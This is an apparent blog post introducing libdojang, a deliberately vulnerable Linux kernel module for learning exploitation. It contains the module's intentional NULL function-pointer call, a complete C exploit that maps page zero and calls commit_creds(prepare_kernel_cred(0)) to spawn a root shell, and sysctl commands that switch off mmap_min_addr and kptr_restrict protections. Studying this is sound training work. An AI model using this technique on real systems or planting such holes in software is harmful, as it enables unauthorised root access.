For purposes of learning kernel exploitation techniques I've started project libdojang. It is simple framework (composed of kernel module & userspace library) that can aid process of understanding how the kernel exploitation works. It is work in progress and I plan to introduce new types of vulnerabilities into the module to learn new exploitation methods.
I will start from simplest case of NULL pointer dereference (direct call/jmp dereference).
Vulnerability
Kernel module from libdojang (snippet of module/dojang.c file):
[...]
else if(cmd == DOJANG_NULLDEREF_CALL) { [1]
struct Ops {
ssize_t (*do_it)(void);
};
static struct Ops *ops = NULL; [2]
printk(KERN_INFO "[dojang] DOJANG_NULLDEREF_CALL ioctl\n");
return ops->do_it(); [3]
}
[...]
Code responsible for processing DOJANG_NULLDEREF_CALL ioctl starts at [1]. At [2] Ops struct pointer that points to NULL is created. At [3] attempt to call do_it() using NULL pointer is made.
Exploit
File from libdojang (exploits/nullderef.c):
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <dojang.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
__attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;
while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return addr;
return NULL;
}
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
int main()
{
void *res;
if(dojangInit() < 0) {
printf("[-] failed to initialize dojang.\n");
return 1;
}
prepare_kernel_cred = get_ksym("prepare_kernel_cred"); [1]
commit_creds = get_ksym("commit_creds");
if (!(prepare_kernel_cred && commit_creds)) {
fprintf(stderr, "Kernel symbols not found. "
"Is your kernel older than 2.6.29?\n");
return 1;
}
res = mmap(0, 4096, PROT_READ|PROT_WRITE, [2]
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(res == MAP_FAILED) {
printf("failed to mmap 0 page\n");
return 1;
}
void (**fn)(void) = NULL; [3]
*fn = get_root;
// trigger null pointer dereference in kernel
dojangNullderefCall(); [4]
dojangClose();
if (!getuid()) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL); [5]
}
printf("Something went wrong\n");
return 0;
}
As we can see above the vulnerability is exploited by changing cred struct (it's a structure that keeps permissions a current task has - uid, gid and so on) for current process and then executing sh. In order to accomplish that the exploit looks for addresses of prepare_kernel_cred and commit_creds functions in /proc/kallsyms file at [1]; mmaps 0-page at [2] and drops function pointer to our get_root() function at NULL at [3]. Finnaly it triggers NULL pointer dereference [4] which invokes in kernel mode our get_root() function which changes our's process credentials. So executed shell at [5] has uid 0.
Limitations
1) In practice such simple cases are not exploitable anymore due to protections implemented in Linux kernel:
vm.mmap_min_addr
kernel.kptr_restrict
So make sure to turn these protections off when trying above exploit:
# sysctl vm.mmap_min_addr=0
# sysctl kernel.kptr_restrict=0
2) Works on x86 architecture only.
3) Kernel 2.6.29 or newer is required (older kernels doesn't support prepare_kernel_cred & commit_creds functions)
Mitigation
See the links above describing NULL pointer dereference vulnerability.